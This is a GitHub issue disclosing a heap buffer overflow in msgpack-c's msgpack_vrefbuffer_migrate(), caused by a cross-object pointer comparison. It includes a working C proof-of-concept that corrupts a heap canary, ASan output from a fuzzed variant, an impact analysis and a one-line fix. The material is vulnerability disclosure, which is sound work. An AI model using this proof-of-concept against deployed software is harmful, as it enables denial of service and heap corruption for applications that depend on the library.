Skip to content

Heap Buffer Overflow from Cross-object Pointer Comparison #1197

Open

Description

@AmirWilayah

Summary

msgpack_vrefbuffer_migrate() in src/vrefbuffer.c contains a bounds check that compares a pointer derived from the destination buffer against the end pointer of the source buffer — two unrelated heap allocations. When this cross-object comparison happens to evaluate true... (incorrectly skipping growth), the function proceeds to memcpy() more data into the destination's array than it has capacity for, causing a heap buffer overflow.

File: src/vrefbuffer.c

  • Function: msgpack_vrefbuffer_migrate
  • Line: 201 (condition), 227 (overflowing memcpy)
  • Affected version: c_master branch, HEAD 82a6cc03 (and likely all releases containing this code path)
  • Bug class: Heap buffer overflow (CWE-787 Out-of-bounds Write), via undefined-behavior pointer comparison (CWE-758)

Root cause

// src/vrefbuffer.c, msgpack_vrefbuffer_migrate()
if(to->tail + nused < vbuf->end) {       // line 201 — BUG: compares against vbuf->end, not to->end
    ... grow/realloc to->array ...        // lines 202-224 — skipped when condition is false
}
memcpy(to->tail, vbuf->array, sizeof(msgpack_iovec)*nused); // line 227 — writes past to->array's real allocation

The condition mixes a pointer derived from to (the buffer about to be written into) with vbuf->end (the end pointer of a completely unrelated, independently heap-allocated source buffer). Comparing pointers from two unrelated allocations is undefined behavior per the C standard (C11 §6.5.8p5), and in practice its truth value depends on where the two heap blocks happen to land relative to each other — not on whether to->array actually has room for nused more iovecs.

When the comparison evaluates to false even though to->array does not have enough real capacity, the growth/realloc block is skipped entirely, and the very next line (227) writes past the end of to->array's real allocation.

The correct, same-object comparison pattern already exists elsewhere in this same file — msgpack_vrefbuffer_append_ref() at line 113 compares vbuf->tail == vbuf->end (same object on both sides).

Trigger / reproduction

Reachable through ordinary public API calls only:

  1. msgpack_vrefbuffer_init(&vbuf, 0, 0) and msgpack_vrefbuffer_init(&to, 0, 0) — two independent vrefbuffers.
  2. msgpack_vrefbuffer_append_ref(&vbuf, ...) called 20 times, growing vbuf's internal iovec array to nused == 20.
  3. msgpack_vrefbuffer_append_ref(&to, ...) called 5 times (growing to's array to a real capacity of only 8 iovecs), followed by the public msgpack_vrefbuffer_clear(&to) (an ordinary buffer-reuse operation — resets to->tail but does not shrink the allocation).
  4. msgpack_vrefbuffer_migrate(&vbuf, &to).

At this point to->array's real allocation is sized for 8 iovecs, but migrate() is about to copy in 20 — a 192-byte overflow.

A second, independently discovered trigger shape reproduces reliably under AddressSanitizer (see Variant Evidence below): two sequential msgpack_vrefbuffer_migrate() calls between the same two buffers, with moderate accumulated growth, deterministically pushes to->tail one iovec slot (16 bytes) past to->end.

Minimal PoC (plain glibc malloc — demonstrates the overflow directly)

#define _GNU_SOURCE
#include <msgpack/vrefbuffer.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>

static const char PAYLOAD[16] = "XXXXXXXXXXXXXXX";
#define CANARY_SIZE 256

int main(void) {
    msgpack_vrefbuffer vbuf, to;
    int i;
    msgpack_vrefbuffer_init(&vbuf, 0, 0);
    msgpack_vrefbuffer_init(&to, 0, 0);

    for (i = 0; i < 20; i++) msgpack_vrefbuffer_append_ref(&vbuf, PAYLOAD, 8);
    for (i = 0; i < 5; i++)  msgpack_vrefbuffer_append_ref(&to, PAYLOAD, 8);
    msgpack_vrefbuffer_clear(&to);

    unsigned char *heap_canary = (unsigned char*)malloc(CANARY_SIZE);
    memset(heap_canary, 0xAA, CANARY_SIZE);

    int rc = msgpack_vrefbuffer_migrate(&vbuf, &to);
    printf("migrate() returned %d\n", rc);

    int corrupted = 0;
    for (i = 0; i < CANARY_SIZE; i++) if (heap_canary[i] != 0xAA) { corrupted = 1; break; }
    printf("canary sentinel: %s\n", corrupted ? "CORRUPTED (heap overflow confirmed)" : "intact");

    free(heap_canary);
    msgpack_vrefbuffer_destroy(&vbuf);
    msgpack_vrefbuffer_destroy(&to);
    return corrupted ? 1 : 0;
}

Build and run (plain glibc malloc — the build that reproduces the overflow):

clang -g -O1 -I include poc.c src/vrefbuffer.c src/zone.c -o poc_positive
./poc_positive

Observed output on this allocator:

Before migrate:
  vbuf nused                 = 20 iovecs
  to->array real usable size  = 136 bytes (malloc_usable_size)
  bytes migrate() will memcpy = 320 bytes
  overflow margin if unsafe   = 184 bytes

migrate() returned 0
canary sentinel after migrate: CORRUPTED - heap-buffer-overflow confirmed
free(): invalid size
Aborted (core dumped)

Exit code 134 (SIGABRT) is the expected/successful result — glibc's own allocator detects the corrupted heap metadata on a later free().

Why the single-migrate PoC doesn't reproduce under ASan, and the variant that does

The single-migrate trigger above depends on the two allocations (to->array and the canary) landing adjacently on the heap — true under plain glibc malloc, but not under ASan's allocator, which segregates allocations by size class rather than allocation order. This is expected, not a sign the bug is fake: the underlying defect (UB pointer comparison) is independent of which allocator exposes it.

An ASan-reproducible variant was found independently via AFL++ fuzzing of the public buffer API directly: two sequential msgpack_vrefbuffer_migrate() calls between the same two buffer instances. Minimized crashing input (22 bytes, via afl-tmin) confirms:

AddressSanitizer: heap-buffer-overflow ... in __asan_memcpy
    #1 msgpack_vrefbuffer_migrate src/vrefbuffer.c:227:9
allocated region traced to realloc at src/vrefbuffer.c:215:36 (inside a PRIOR migrate call's growth branch)

A standalone debug-trace program confirms the exact mechanics with printf-instrumented capacity/used dumps:

A before migrate1: cap=8  used=5
B before migrate1: cap=4  used=0
migrate1 rc=0
A after migrate1:  cap=8  used=0
B after migrate1:  cap=8  used=5
A before migrate2: cap=8  used=4
B before migrate2: cap=8  used=5
migrate2 rc=0
A after migrate2:  cap=8  used=0
B after migrate2:  cap=8  used=9   <-- 9 > capacity 8: confirmed overflow condition, ASan-reproducible

Impact

Heap buffer overflow (out-of-bounds write) in the destination buffer's backing allocation, with attacker-influenced content (iovec structs — pointer + length pairs copied from the source buffer). Depending on heap layout, this corrupts adjacent heap metadata or adjacent allocations, leading to a crash (DoS) or, under favorable heap layouts, potential memory corruption exploitable for further impact. msgpack_vrefbuffer is used by msgpack_packer-style streaming/zero-copy serialization paths that reference external buffers without copying them — any application calling msgpack_vrefbuffer_migrate() (directly, or via higher-level buffer-merging logic built on top of it) with imbalanced buffer sizes is affected.

Suggested fix

- if(to->tail + nused < vbuf->end) {
+ if(to->tail + nused < to->end) {

Compare against to's own end pointer — the object actually being bounds-checked — not the unrelated source buffer's end pointer.

Activity

  1. AmirWilayah commented on Oct 28, 2026

    @AmirWilayah
    Author

    The screenshot in my WSL by running the overflow and safe PoC
    Image

    I also ran a negative control. In this test, the destination array to->array is allocated with sufficient capacity (520 bytes / 32 iovecs) to hold the 20 iovecs.

    Image
  2. added a commit that references this issue on Oct 30, 2026
    1c47ce0
  3. AmirWilayah commented on Oct 30, 2026

    @AmirWilayah
    Author

    @redboltz LGTM. Can we close this, as it has been fixed? If closed, can it be submitted for a CVE?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions